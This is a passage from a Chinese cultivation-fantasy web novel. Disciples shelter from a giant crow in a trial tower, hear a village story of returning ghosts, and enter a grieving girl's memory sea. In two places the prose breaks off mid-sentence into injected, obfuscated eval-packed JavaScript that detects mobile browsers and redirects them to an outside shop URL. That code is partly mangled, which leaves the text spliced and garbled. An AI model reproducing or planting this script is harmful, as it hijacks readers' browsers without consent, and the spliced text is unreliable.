在看到那枚代表宗门保命符的紧急通讯符也无效时,所有人的脸上都浮现出了发自心底的恐慌。 “怎么办?” 有人小声问,声音发抖。 “我们好像……联系不上外界了……” 另一个弟子喃喃自语,像是在说服自己,“怎么会这样?善见天不是有长老值守吗?他们应该能看到塔内的情况啊?” “掌门呢?长老呢?亲传弟子他们呢?” 那位喜欢天道显灵的弟子此刻也不求天道了。 他脸色煞白,“不会的,他们不会不管我们的……” 虽然大家都是抱着万一有奇遇、一步登天的美好理想来到这里的。 但此时此刻,第一层之上,有未知的危险正在逼近。 明哲保身,显然是聪明人的第一选择。 所有人都僵在了原地。 而唯一起身、开始行动起来的—— 是翩翩。 她很平静地,把自己那本话本收进随身的包袱里,系好带子,拍了拍衣袍上的草屑,然后—— 抬起头,望向那道被贯穿的裂口,做出了一个所有人都没想到的举动。 她开始朝那个方向走。 “你在干什么?” 李师弟第一个反应过来,一把拉住她的袖子,“你疯了?上面出事了!你没听到那些求救声吗?” “听到了。” 翩翩回答,语气平淡。 “听到了你还往上走?!” 李师弟简直不敢相信自己的耳朵,“你一个没有灵根、没有修为的人,上去能干什么?” “添乱吗?” “要是遇到那个怪物,你连跑都跑不掉!” “添乱吗?” 翩翩歪了歪头,似乎在认真思考这个词的合理性,“可是师兄,如果待在原地,对局面也没有任何一点好处吧。” 李师弟张了张嘴,想反驳,却发现自己说不出什么有说服力的话。 是啊,待在原地能有什么好处? 等着怪物下来把他们一锅端? 等着外界的救援在他们死之前赶到? 或者等着几月后,同门为他们收尸,然后当成所谓善见天特大伤亡事件的受害者,在专属纪念日被人怀念吗? “说不定,多个脑子想问题,局面也会大有不同呢。” 翩翩继续说道,目光扫过在场每一个人的脸,“三个臭皮匠,顶半个谢不舟。这句话你们没听过吗?” “…………” 半个谢不舟? 这个比喻真是—— 一时间,不知道是该吐槽三个臭皮匠顶半个谢不舟这个换算比例本身有问题。 还是该吐槽这位师妹对自家师兄实力认可的方式太过清奇。 沉默之中,翩翩已经继续往前走了几步。 然后,她突然停下脚步,回过头来。 众人以为她改变主意了。 却见那张在昏暗光线下依旧明媚的脸上,忽地绽开一个笑容。 “再说了,”她笑着开口,耸了耸肩,一副没了办法的样子。 “我这种吃货,上面那个小师兄还等着出去后请我吃烤鸡呢。要是我在这里干等着,让他等急了……” “回头又要跟我闹。” 说完,她转过身。 没有再回头。 一步一步,走向那道裂口,走向未知的塔层。 而她的身后,一片死寂。 32. 第三十二章 善见天,第十二层。 当翩翩终于踏足这片狼藉时,入目所及,只剩断壁残垣。 曾经平整坚实的塔层地面,此刻像是被犁过一遍,翻卷的石板与碎木混杂在一起,空气中弥漫着浓重的血腥味。 四下散落着碎裂的法器残片、被踩烂的符纸,以及几滩尚未完全干涸的暗红。 但周围却没有修士。 翩翩绷紧神经,握紧手心里的符篆,继续向前探索。 忽地耳边传来一声乌鸦的鸣叫。 翩翩循声望去, 瞳孔却骤然紧缩—— 只见在十二层那片被摧毁得最为彻底的开阔地带,一只硕大无比的黑色乌鸦,正在疯狂地扇动翅膀,仰天长啸。 它的身躯庞大,浑身上下覆盖着如同黑铁铸就的羽毛,每一片都泛着冷冽的光泽。 而最骇人的是它的翅膀—— 翼展几乎覆盖了整片视野,每一次扇动都掀起一阵狂风,将周遭所有的一切都卷上半空,又狠狠砸落在地。 这妖兽的实力…… 翩翩眯起眼,迅速在心中做出判断。 元婴期以上。 或许更高。 这样的存在,本不该出现在外门弟子的善见天试炼中。 别说外门弟子,就是内门精锐来了,在这等凶物面前也得喝上一壶。 “不是,这种级别的妖兽就没人管管吗?”翩翩低声吐槽。 正是这声响,那只巨大的乌鸦察觉到了她的存在。 它猛地转过头,身后巨大的羽翼横扫周遭。 一双猩红色的兽瞳,瞬间锁定了翩翩所在的位置。 一人一兽,四目相对。 翩翩看到乌鸦在看到她时,眼底似乎闪烁着极为复杂的情绪。 但仅一息过后—— “嘎!” 巨翅猛然横扫,乌鸦裹挟着摧枯拉朽的飓风,朝翩翩席卷而来。 翩翩根本来不及多想,身体比意识更快地做出反应。她猛地向侧方一扑,在地上翻滚了两圈,堪堪避开了那致命的一击。 “轰——!” 翅膀扫过她刚才站立的位置,将一块一人高的巨石直接轰成了齑粉,碎石四散飞溅。 翩翩没有时间思考。 她迅速爬起来,弓着腰,借着掩护向更远处移动。 身后,那只乌鸦发出愤怒的嘶鸣,显然是因为没有一击必杀,而变得更加狂躁。 “这边。” “请……往这边来。” 一道稚嫩的童声,从她身后的方向传来。 那声音很轻,像是怕被乌鸦听到,说话时带着一种小心翼翼的谨慎。 翩翩循声望去。 在不远处一片坍塌的塔壁后面,隐约能看到一个狭窄的、勉强容人侧身通过的缝隙。 那声音就是从缝隙深处传来的。 她没有片刻犹豫,当机立断。 借着乌鸦再次扇动翅膀、掀起漫天尘土的间隙,她弓着身子,像一只灵活的猫妖,几个闪身蹿到了那道缝隙前。 侧身钻了进去。 缝隙后面是一条窄窄的、向下延伸的通道。通道尽头有微弱的光,隐隐约约能听到人声。 走了大约二三十步,通道豁然开朗。 眼前的是一个洞穴。 而就在洞穴里面,有着二十来个修士。 有的靠在洞壁上闭目养神,有的在低声交谈,有的则在疗伤。 看到有人从通道里钻进来,大多数人的第一反应是警觉,第二反应是看到了她腰间的外门弟子玉玦,这才稍稍放松。 “翩翩姐姐!” 一个声音,带着满满的惊喜和几乎要溢出来的依赖,从洞穴深处传来。 紧接着,一道身影如同脱兔般朝她扑了过来—— 陈澜那张笑得见牙不见眼的脸上,此刻写满了劫后余生的兴奋,眼眶甚至还有些泛红。 他一把抓住翩翩的袖子,上下打量,像是在确认她是否完好无损。 “你怎么来了?你怎么上来的?你没受伤吧?外面的那只大乌鸦没伤到你吧?” 他一连串地问,语速快得连珠带炮。 “你慢点说。” 翩翩被他晃得有点晕,伸手按住他的肩膀。 目光越过陈澜,她看到了另外两个人。 柯芊芊,还有红依。 除了聆音以外全员到齐,倒是比翩翩预想的后果要好上太多。如果不是外头有只巨鸟,她简直怀疑这善见天是什么大型研学活动现场。 此刻柯芊芊正靠着洞壁坐着,脸色苍白,但看起来没有受什么严重的伤。 她看到翩翩,眨巴眨巴眼:“翩翩,你不该来这里的。” 这姑娘说话声音很轻,没了当初在玉容面前大声告白的鲜活气儿。 而反派预备役红依倚在洞穴最深处的一块岩石上,双臂抱胸,脸色冰冷如霜。 翩翩扫了眼她的状态,却恰好与她来了个四目相对。 翩翩:“……” 可红依的状态算不上好,比不上陈澜与柯芊芊,左边胳膊上还有一道极深的伤口。 她的目光落在翩翩身上,开始了经典的反派发言。 “嗬,”她开口,声音沙哑,“我当是谁呢。” “这不是那位连灵根都没有、轻轻松松就能打败我的杂役天才吗?” 她的目光从上到下扫过翩翩,语气嘲讽:“怎么,看前十二层都被轰开了,所以迫不及待地来十二层来送死了?” 陈澜的脸色立刻变了,站在翩翩身前:“红依师姐,你说话能不能别这么难听?传音符没有用,她总不能坐以待毙吧!” 红依冷笑,“那她来了能干什么?给我们添乱吗?” “还是在我们送死时摇旗助威,充当氛围组?” 红依没好气地翻了个白眼。 不愧是反派预备役,冷嘲热讽起来,战斗力完全不输于没受伤前的全盛时期。 “你——”陈澜还想要再说点什么。 “好了。”柯芊芊出声打断。 虽然平时她吊儿郎当,恋爱脑上头。可真遇到事儿,她反而是里面极少数能冷静下来,主动去思考问题的。 柯芊芊叹了口气,站到了翩翩与红依中间。她行走时,银白色的剑穗随着舞动,叮铃哐啷,与佩剑碰撞发出声响。 翩翩注意到,她的剑穗上绣着一朵血红色的梅花。 “现在不是吵架的时候,外面那只东西随时可能发现这里。” 说到这里,柯芊芊无奈地叹了口气,一双杏眼黯淡无光,双唇也因为缺少水分而出现裂口。 “我们与其内耗,不如想想怎么活下去。” 红依冷哼一声,别过头去,不再说话。 陈澜气鼓鼓地瞪了红依一眼,转身拉着翩翩在洞穴里找了个相对干净的地方坐下。柯芊芊挪了挪位置,靠近他们。 有一说一,在生死危难面前,还有心思闹脾气,也算玉宸宫弟子心理素质的强大。 翩翩的目光落在洞穴最深处、那个被阴影笼罩的角落里。 那里坐着一个身形瘦瘦小小的孩子。 如果翩翩没猜错,那个孩子应该就是刚刚引她过来的那人。 只见那孩子带着兜帽,宽大的帽檐遮住了大半张脸,只能看到一小截苍白的下巴。 她的身量看起来只有七八岁的样子,蜷缩在那里,像一只把自己缩进壳的胆小蜗牛。 而从翩翩走进洞穴的那一刻起,这个孩子就在盯着她看。 那目光很安静,没有恶意。 却带着一种……审视? 像是在确认什么。 是在确认她有没有受伤吗? 几息之后,那孩子似乎得出了结论,默默移开了视线,又缩回了黑暗的角落里,一动不动。 “她是谁?” 翩翩戳了戳身边打瞌睡的陈澜,问道。 陈澜顺着她的目光看过去,心里了然,打了个哈欠就答道:“哦,你说她啊,她叫风谷。” “风谷?”翩翩咀嚼着这个名字,这年头还有人姓风? “据她自己说,”柯芊芊接过话头,“她是被镇压在这善见天里的一段……记忆。” 记忆? 翩翩的眉头微微蹙起。 一段被镇压在塔中的记忆? 这倒是稀奇。 “很不可思议吧?” “那只报丧鸟,哦,也就是刚刚你在外面看到的那只巨大的乌鸦。”柯芊芊继续说道,目光落向洞穴入口的方向,似乎能透过岩壁看到外面那只还在肆虐的巨鸟。 “据风谷所说,就是她的本体。” “本体?”翩翩眉头皱得更紧了。 “嗯。”柯芊芊点头,“风谷是被封印在这里的记忆,而那只报丧鸟,是封印中残留的那部分力量凝结而成的实体。” “两者本为一体,却割裂成了两个独立的存在。” 自称为记忆的小女孩,和被分割出去的报丧鸟? 而且这报丧鸟又是何物种? 翩翩再次感慨自己知识的匮乏,愈发觉得大千世界,无所不有。 说不准这善见天本不是什么历练之所,而是掌门特意用来搜集珍稀物种的储藏室。 那他们来到这里所经历的,这算不算得上一种“神奇妖兽在哪里”? 翩翩问道:“风谷是这么介绍自己的?” “对。”柯芊芊也知这说法的离谱,苦笑道,“她还说在正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495805|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况下,报丧鸟虽然凶戾,但只会被困在善见天的高层。可是这一次……” “不知怎的,就在我们进入善见天试炼后不久,报丧鸟突然就发了狂,完全不受控制。” 不受控制啊。 翩翩若有所思地看向角落里那道瘦小的身影。 “翩翩姐,我知道正常修士都会有所怀疑。但我认为风谷是个好孩子,不然她为什么要救我们,直接让我们被报丧鸟吃掉对她而言,也没什么影响吧?” 同为孩子的陈澜心思单纯,语气中带着感激。 回忆起当时遇到风谷的场面。 他简直两眼冒光,要把风谷当做继云上月之后,他第二个崇拜的对象。 “当时我们还在十一层,报丧鸟突然冲下来,把塔层都撞穿了。我和众多师兄师姐都吓傻了,根本不知道往哪儿跑。” 陈澜语气夸张,再加上手脚并用,活脱脱像是个小说书先生。 “然后风谷突然出现,一路拉着我们穿过裂缝,绕到了这个洞穴里。” “如果不是她,我们可能早就……” 他抹了抹自己眼角不存在的泪,没在往下说下去,但想要表达的意思已经很清楚。 如果不是风谷。所有的外门弟子怕不是要葬送在报丧鸟之口。 “别看她孤僻,”柯芊芊也在这时为风谷解释,“但其实这孩子很热心。” “这一路上,她一直在帮我们。除了我们之外,洞穴里还有从更高层逃下来的师兄师姐,都是风谷带过来的。” “要是没有她,伤亡恐怕要比现在惨重得多。” 翩翩的目光在洞穴里扫了一圈,最终落在洞穴深处那块巨大的岩石边。 风谷就坐在那里,抱着膝盖,兜帽遮住了所有表情,像极了一个怕生胆小的孩子。 尽管她不想怀揣恶意去揣测。 但—— 那个小孩愿意救他们,显然不是陈澜和柯芊芊口中说的心地善良。 如果进入善见天的弟子因为报丧鸟伤亡惨重, 善见天的主人,也就是玄胤真人,绝对不会放过她。 “既然报丧鸟是她的本体,” 翩翩耸了耸肩,“那她能不能控制报丧鸟?或者说,干脆让报丧鸟停下来?” 这个问题一出,周围的空气似乎凝固了一瞬。 “哼。” 红依倚在那块岩石上,嘴角挂着冷笑,目光如刀般剜向翩翩:“怎么,你还想让一个七八岁的孩子去送死?” “我不是那个意思。”翩翩立马回应。 被关押在善见天这些日子里,风谷的心理年龄不一定是小孩子。 “那你什么意思?”红依的声音带着明显的嘲讽,“你能想到的事,在场谁想不到?你以为我们没问过?只有你聪明?” 柯芊芊叹了口气,替红依把话说完:“有人……确实问过风谷,能不能帮忙。作为唯一和报丧鸟有联系的存在,如果她能做点什么,无论是让报丧鸟停止攻击,还是帮我们找到离开善见天的路,都好。” “然后呢?”翩翩问。 “然后……”柯芊芊停顿了一下,目光有些复杂地看向角落里那道瘦小的身影。 “风谷拒绝了。她很抗拒。” “不是不愿意帮,而是……每次提到离开善见天这个话题,她就会变得非常不安,甚至会躲起来,好几天不说话。” “她只给了我们容身之所,”提到这里,陈澜抱住自己的膝盖,在他修行的近十年里,他还是第一次遇到这种情况。 一向乐观开朗的他声音也明显低沉了很多,显然他对此也没有任何办法,“但关于让我们离开善见天这件事……她不愿意配合。” 几人一阵沉默。 只有外面隐隐传来的、报丧鸟偶尔的嘶鸣,提醒着他们,危险从未远离。 “想知道她为什么会不同意你们离开吗?” “因为她太孤独了。” 说话的是翩翩。 翩翩说这话的时候,没有看任何人。 她站起了身,拍了拍衣摆上落下的尘土,像是想起了什么,轻轻一笑,随即继续道。 “尽管她说自己是一段记忆,但很明显风谷还当自己是人族,而一个有着正常情绪、会哭会笑会难过的人族,却常年被困在这妖兽横行的善见天里。” 她顿了顿,“没有人会和她说话,也没有什么东西会一直陪伴她。” “所以她想要……”陈澜眨了眨眼,这时候才突然明白了翩翩的意思。 “所以她之所以选择救了我们,却不愿意为我们提供离开这里的方法,是因为——” “从始至终,她都想要我们这些大哥哥大姐姐们全部留下来陪她。” “直到永远。” 33. 玉宸宫其十三 村子外的鬼魂,死前都是村里人? 翩翩的神色变得严肃。 女童点点头。 她再次开口,声音沙沙的,像秋风吹过干草垛,“最早是村头的王爷爷。他走了以后,家里人按规矩办了丧,埋进了祖坟。结果头七那天晚上,他自己飘了回来。” “他家里人因此吓坏了,把门闩死,不敢出去。王爷爷就在门外站着,敲了一夜的门,说他是爷爷啊,为什么不让他进门。” “天亮的时候,声音没了。他家里人以为走了,开门一看,他就站在门口,脸上还挂着笑。” 女童顿了一下。 “那笑跟他下葬时躺在棺材里的一模一样。” 灶台里的柴火噼啪响了一声,火星溅在锅底,又暗下去。 “后来人越来越多。先是走了的老人,后来是病死的年轻人,再后来……” 她的声音低了一瞬,又很快恢复了那种干巴巴的平静,“连难产死的婴孩都回来了。一到天黑就出来,在村子里转。刚开始大家还怕,后来发现他们只是转,也不做什么,就习惯了。有人晚上出门碰见了,还打个招呼,说你吃了没。” “但他们毕竟是鬼魂,那个招呼,从来没有应答过。” 翩翩张了张嘴,想说点什么,又不知道该说什么。 她看了眼聆音,聆音的脸上也失了惯常的温柔笑意,嘴唇抿成一条线。 “本来要只是村子里游荡,倒好了。” 女童把一根手指伸到烛火边,火光在她指尖跳了跳,“后来有一个回来的老人,在见到他孙子的第二天早上……消散了。” 翩翩问:“消散了是什么意思?” 女童把手指收回来,在摇曳的烛火中,她的脸色却有些发青。 “字面上的意思。” “他们不能投胎,不能进入忘川,只能以鬼魂的状态在这村子里一圈一圈地转。转的日子久了,就会消散。没人知道什么时候轮到自己。” 她抬起眼,那双黑亮的眸子里倒映着跳动的烛火。 “从意识到这点开始,他们就疯了。” 说完这话,女童一声嗤笑,但一想到后来发生的事,她的脸色凝重又悲哀,带着与年纪不符的成熟。 “后来他们想出了个法子。” “说……如果能抢到活人的身体,魂魄就有了新的壳子,就不会散了。哪怕抢不到整个身体,撕下来几缕生气,也能多撑一阵子。” “可村里里的活人,都是他们在世时的亲人。”翩翩一字一句道,“他们难道……就没有片刻犹豫吗?” 翩翩想到了上辈子忘川镜失踪后人界的惨状。 四处都是哀嚎作乱的鬼魂,和被折磨发疯的活人。 什么骨肉亲情,什么人性本善。 在基本的轮回生存面前,统统都不值一提。 “你们知道第一个被抢夺身体的是谁吗?” 女童嘴角露出一抹嘲讽的笑,没等他们猜,她自己便给了答案。 “王爷爷的孙子。才四岁。” “平日王爷爷最疼他的。” “到头来却命丧于自己的亲爷爷之手。” 旁边的陈澜觉得有什么东西堵在喉咙里,吞不下也吐不出。 “从那以后,活人晚上就不敢出门了。可有些人还是被拖走了。有的是不听话跑出去的,有的是门窗没关严被溜进来的,有的是……被自己家里人骗出去的。” 女童说到这里,语气终于有了一点点的波动,“毕竟是你的亲人回来了,你开门还是不开?” 烛火又跳了一下。 陈澜觉得后背凉飕飕的,像是有什么东西正趴在他肩膀上吹气。 他不敢回头,只能把脖子往衣领里缩,缩得像个乌龟。 翩翩靠在墙上,把女童的话一个字一个字地听进耳朵里。 老的小的挤在村口当游魂,活着的人缩在屋里当囚犯。 这世道……也难怪最后正派急了眼。 无论如何都要从她那里讨点什么。 正要开口问点什么,外面忽然传来了动静。 “团团?团团在家吗?” 是一个女人的声音,细细的,软软的,带着笑意。那声音从门缝里钻进来,温柔得能掐出水。 “娘回来了。你开开门呀。” 紧接着是一个男人的声音,粗一些,“爹也回来了。团团,你看爹给你买了什么?是你最爱吃的糖糕。走了好远的路才买到的,你开开门,趁热吃。” 糖糕。 这个词让陈澜的喉咙动了一下。 然后他猛地反应过来—— 外面游魂遍地的村子里,这大半夜的,去哪儿买糖糕? 女童,也是团团,站在门边。烛火的光映在她脸上,她的表情没有丝毫变化。 听到自己至亲之人说的话,她没有分毫波动。 “团团?你睡了吗?”外面的女人又唤了一声,声音更温柔了,“娘不是故意回来晚的。你开开门,让娘看看你。娘好想你。” “团团最乖了,爹也想你。”男人的声音跟着说,“糖糕还是热的,再不开门就凉了。” 一唱一和。配合得天衣无缝。 团团终于开口了。 她的声音比方才跟他们说话时还要沙哑,像带着哭腔。 “别装了。” 门外静了一瞬。 “你们早就死了。” 这句话像一把刀,把外面那层温情的皮囊划开了一道口子。 沉默持续了短短几息,然后那对男女的声音又响起来,变得更加急切,更加真实。 “这孩子!说什么胡话呢?我们不是好好的吗?” “团团,快开门!爹和娘在外头站了好久了,你连门都不让进?” 过了好一阵儿,见他们的团团没有再答话,他们没有继续喊团团。 他们换了目标。 “娘!娘你睡了吗?”女人的声音拔高了,朝着屋里喊,“你快管管团团!这孩子连亲爹亲娘都不让进门了!” 老妇人从灶台旁摇摇晃晃地站起来,那双浑浊的老眼忽然亮了一下,像是枯井里忽然泛上来一汪水。 她颤巍巍地往门的方向迈了一步。 “是……是他们回来了?” 团团猛地转身,一把抱住了老妇人的腰。 她那么小一个人,力气却大得惊人,死死箍住老妇人往前挣的身体,两条腿在地面上蹬出吱嘎的摩擦声。 “别开门!” 老妇人低头看她,脸上的皱纹都在抖:“那是你爹娘啊……” “不是我爹娘!” 团团的声音终于有了裂痕,她的眼泪啪嗒啪嗒往下落,“他们死了!他们早就死了!姥姥你忘了吗,上个月他们在门外站了一整夜,你开了门,他们差点把我勒死!” 老妇人的脚步僵住了。那股忽然涌上来的力气从她身上退去,她的肩膀塌下来,整个人像是又缩小了一圈。 她慢慢坐回灶台旁,把脸埋进那双干枯的手掌里,什么也不说了。 门外的声音还在继续。 女人的哭腔,男人的哀求,一句叠一句。 他们喊娘,喊团团,喊开门。 每个字都裹着糖浆。 团团就那么抱着姥姥,一动不动。 过了很久,门外的声音终于停了。 脚步声远去,消失在夜风里。 团团这才松开手,转过身,背靠着门板滑坐下来。她那双黑亮的眼睛看向他们三个,她眼底的泪早就已经流干,只剩下空洞和麻木。 “刚才敲门的两人。” “就是我的父母。” 陈澜觉得自己浑身的血都往脚底下流。 “可是他们——” “早就死了。”团团替他把话说完,“活着的时候,我爹会走十几里山路去镇上给我买糖糕。我娘每天晚上给我唱儿歌哄我睡觉。他们是最好的爹和娘。” 她的声音没有起伏。 “上个月他们站在门外,跟我说话,跟以前一样温柔。我信了。我开了门。” 她抬起手,把领口往下拉了一点。 烛光下,她细瘦的脖颈上,几道青紫色的勒痕还没有完全消退,在她小麦色的皮肤上格外刺眼。 “要不是姥姥醒了,拿扫帚把他们打出去,我现在已经不知道在哪儿了。” 她把领口拉回去,语气还是平平的。 在生死轮回面前,骨肉亲情什么都不是。 灶膛里的火噼啪响着,锅里的水咕嘟咕嘟冒泡,老妇人坐在灶台旁,肩膀轻轻抖动,没有声音。 团团从地上爬起来,拍拍屁股上的土,走到灶台边,熟练地掀开锅盖,拿了个豁了口的木勺在锅里搅了搅。 “你们饿了吧。” 团团说,“家里没什么好东西,就剩点米了。熬的粥,凑合喝。” 她踮起脚尖从灶台上方的木架子上取下来三个碗,挨个摆在灶沿上,开始舀粥。 动作麻利得不像个孩子。 三个人坐在矮桌旁,一人面前一碗稀粥。 米粒不多,汤水清得能照见碗底。 “但这样下去不是办法。” 聆音坐在门槛上,把自己的那碗粥放在膝盖上,没喝,“村子里死的人会越来越多。老人会死,生病的人会死。死了就回不来,回不来投不了胎,投不了胎就只能在外头漂着。漂久了就散。” “不想散的就得抢活人。可抢了活人,活人又变成鬼。” 闻言翩翩也点点头,“而鬼只会越来越多。怨气也越来越重。” “他们现在白天还不敢靠近村子,只能在村外的荒坟那边待着。” “但再过一阵子,谁知道呢。” 她吹了口稀汤,身边的团团听到她们的说法,闭上了双眼。 她轻轻道。 “是啊。” “所以我们……就快抵不住了。” —————— 第二天天亮,翩翩他们见到了村里剩下的人。 太阳升起来以后,那些游魂确实退走了。 他们缩回村外那片荒坟地里,在晨光中化成若有若无的雾气,蛰伏在碑石和荒草之间。 村子在白天看起来就是个普通的小山村。 黄土路,土坯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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远远望去,那片坡地上挤满了坟包,密密麻麻,新土压旧土。 坟与坟之间,隐约能看到一些模糊的影子蜷伏着,在日光下淡得几乎看不见。 但它们就在那里。 陈澜站在村口,看着那片坟地,很久没说话。 “如果只是斩妖除魔,” 他终于开口,声音闷闷的,“哪怕对面是妖兽,打不过也认了。可他们……他们之前也是人啊。是这些孩子的爹娘,是这些老人的儿女。” 他握紧了自己的剑柄。 “斩杀他们,就是让他们永生永世再没有活过来的机会。” “可要是不动他们,活着的人就这么一天天等死吗?” 没有人能回答他。 翩翩站在他旁边,也沉默着。 这本就是个两难的问题,没有两全的解法。 而世间多的是这样两难的困境。 最后还是聆音先动了起来,她从腰间解下香袋,开始绕着村民的房屋布设防护阵法。 陈澜吸了吸鼻子,跟了上去。 能做的先做。 剩下的,他会再想。 —————— 是夜。 陈澜睡不着。他躺在土坯房的角落里,拿外袍盖着脸,翻来覆去地折腾。 那些游魂今晚没有来敲门,但他总觉得能听见远处传来的、若有若无的脚步声。 团团从灶台边走过来,在他旁边蹲下,低头看着他那张皱成一团的脸。 “你睡不着?”她问。 陈澜把外袍从脸上扯下来:“有点。” “我娘以前,睡不着的时候就给我唱儿歌。一唱我就睡着了。” 她顿了一下。 “后来她不唱了。我睡不着的时候,就自己唱给自己听。” 陈澜侧过头看她。 团团坐在他旁边的地铺上,把两条腿盘起来,把两只手放在膝盖上,清了清嗓子。 她的声音还是沙沙的,但调子很准。 “月亮光光,照在院墙。” “阿囡不哭,爹娘在旁。” 是一首很老的童谣。 调子简单,翻来覆去就那么几句。 但在这个夜里,在这个被死人与活人一同困住的村子里,她的声音像一盏小小的灯。 陈澜闭着眼睛听,听着听着,不知什么时候就睡着了。 屋外,夜风轻轻吹过。远处荒坟那边的影子,似乎又朝村子靠近了几分。 院子的角落里,聆音和翩翩并肩坐在一块磨盘上。头顶的夜空没有星星,只有一轮被云遮去大半的残月。 聆音抬头望着那月亮,忽然开口:“虽然这只是场试炼,但翩翩——” “你说,如果当初那个偷走忘川镜碎片的人把东西还回去……” “这一切……是不是就不会发生?” 她转过头来,看向翩翩。 烛火从半掩的窗棂里透出来,在她们中间投下一片昏黄的光。 光影落在她脸上,半明半暗。 她那双惯常温婉的眼睛里,映着跳动的火焰—— 也映着翩翩的侧脸。 34. 玉宸宫其十四 对于进入报丧鸟识海的人选,众人进行了一番激烈的讨论。 最终决定—— 由武力最强担当红依,和虽然很菜,但脑子却意外好使的翩翩一同前往。 报丧鸟的识海是一片灰蒙蒙的雾霭之地。 翩翩与红依踏入其中时,只觉脚下虚浮,周遭景象扭曲不定。 她们仿佛踩在一片混沌的记忆碎片之上,每一步都会激起涟漪,而涟漪里则浮现出零星的画面来。 “这里……”翩翩蹙眉,她眼中的八斗镜在剧烈晃动,“很不稳定,务必小心。” 红依点点头,手持长剑,剑尖点地,警惕地环顾四周,显然她也感觉到报丧鸟识海对她们的排斥。 翩翩的话音刚落,雾气突然翻涌,前方景象骤然清晰起来。 出现在他们眼前的是一个人间小镇的黄昏。 显然他们已经进入到了风谷的识海记忆里。 在黄昏的暮色下、一个四五岁的女孩蹲在巷口,背后有一对小小的黑色羽翼,她拼命想把它们收起来,可是羽翼不受控制地微微颤抖。 几个同龄孩子站在不远处,朝她扔石子。 女孩和现在她们所见到的风谷,年纪相差不算太大。 所以翩翩和红依一眼就认出,被孩童排挤的女孩,就是曾经的风谷。 “怪物!怪物!报丧鸟!” “离我们远点,不然你会给我们带来厄运!” “我娘说了,看到报丧鸟要吐口水,不然会倒霉三年!” 风谷低着头,黑色长发遮住了脸。 她咬紧嘴唇,没有哭出声,只是肩膀在微微颤抖。一颗石子砸中她的额头,立刻渗出血来。 翩翩心口一紧,下意识想上前,刹那间,场景变换。 这一次是在妖界边缘的村落。 风谷长大了些,约莫十二三岁,黑色羽翼已经能很好地收拢在背后,但偶尔还是会不受控制地露出一两片羽毛。 她的父母站在村口,面对着一群妖族。 “我们村子不欢迎报丧鸟!”为首的妖族老者冷声道,“你们走吧,去别处谋生。” “我们已经很小心了,”女孩的父亲哀求道,“风谷她很少出门,我们也不靠近村子中心,就在这边缘住着也不行吗?” “不行!”一个年轻的妖族妇人尖声道,“上个月我家的鸡莫名死了三只,定是你们带来的厄运!” “那是疫病……”女孩的母亲小声辩解。 “就是你们!滚出去!” 石头、烂菜叶、泥土纷纷砸向这一家三口。 女孩的父亲用身体护住妻女,黑色的羽翼展开,试图挡住那些攻击。 但羽翼太单薄,很快就被砸得羽毛散落。 翩翩看到,被阿爹护在怀里的风谷咬着嘴唇,眼睛睁得大大的,不肯让眼泪掉下来。 紧接着场景再次变换,翩翩甚至听到报丧鸟在外面一声愤怒地吼叫。 报丧鸟在本能地排斥她们观看自己的记忆。 因为接下来的,是风谷失去双亲的经历。 出于身份缘故,风谷一家开始在深山隐居,父母教她控制羽翼,教她隐藏报丧鸟的气息。风谷学得很认真,她甚至学会了用简单的幻术掩盖自己的特征。 “这样就好了,”母亲温柔地抚摸着她的头发,“等你能完全控制自己,我们就能像普通妖族一样生活了。” “可是娘,”风谷小声问,“我们做错了什么吗?为什么大家都不喜欢我们?” 父亲沉默良久,才沙哑地说:“我们没有错,孩子。只是……这世道容不下不同。” 画面闪烁,天空刹时被染成了红色。 在一片血色的夜,一群蒙面修士闯入深山小屋。风谷的父母将她塞进地窖,嘱咐她无论如何不要出来。 “他们是为了那东西来的,”父亲急促地说,“风谷,记住,无论发生什么,活下去!” “爹!娘!” 地窖门被关上,上面压了重物。风谷蜷缩在黑暗里,听着上面的打斗声、惨叫声、咒骂声。 不知过了多久,一切归于寂静。 风谷推开地窖门爬出来时,看到的是一片狼藉。父亲倒在门口,胸口被法器贯穿。母亲躺在屋内,手中还握着半截断剑。 屋子被翻得乱七八糟,但那些修士显然没有找到他们想要的东西。 风谷跪在父母尸体中间,一动不动。许久,她伸出颤抖的手,摸了摸母亲冰凉的脸颊。 然后她抬起头。 识海中的天空是血红色的,风谷的眼泪终于落下来,一滴,两滴,砸在地面上,竟然化作了黑色的羽毛。 “为什么……”她声音嘶哑,“为什么因为我们的种族,就要杀我们?” “为什么因为我们是报丧鸟,就要被讨厌?” “我们活在这世上……也是有罪吗?” 她仰天嘶吼,声音凄厉如夜枭。 随着她的哭喊,整个识海开始剧烈震动,天空出现裂痕,地面塌陷,那些记忆碎片纷纷崩解。 “不好!”红依脸色一变,“识海要崩塌了!” 翩翩试图稳定身形,但识海的排斥力越来越强,几乎要将她们弹出去。就在这时,她看见风谷的身影在崩塌的识海中央,抱着父母的尸体,周身散发出绝望的黑气。 “不能这样下去,”红依咬牙,“她会彻底迷失在自己的识海里!” 说罢,红依猛地冲向识海中央。狂风撕扯着她的衣袍,记忆碎片如利刃般划过她的皮肤,但她速度丝毫不减。 “红依!”翩翩惊呼,连忙跟上。 两人冲破层层阻碍,终于来到风谷面前。风谷抬起头,眼中一片死寂。 “滚出去,”她声音冰冷,“所有人都滚出去。” “风谷,听我说——”红依开口,却被一股强大的力量震退数步。 翩翩连忙扶住她,两人对视一眼,确定彼此无恙。 红依稳住身形,抹去嘴角渗出的血丝,直视风谷的眼睛:“谁说身世代表了原罪?” 风谷的瞳孔微微一缩。 “我是妓女生的,”红依一字一顿,“在人界,妓女之子比妖族更卑贱。我本该在泥泞里打滚,受人唾弃,一辈子翻不了身。” 她向前一步,识海的震动似乎减弱了些许。 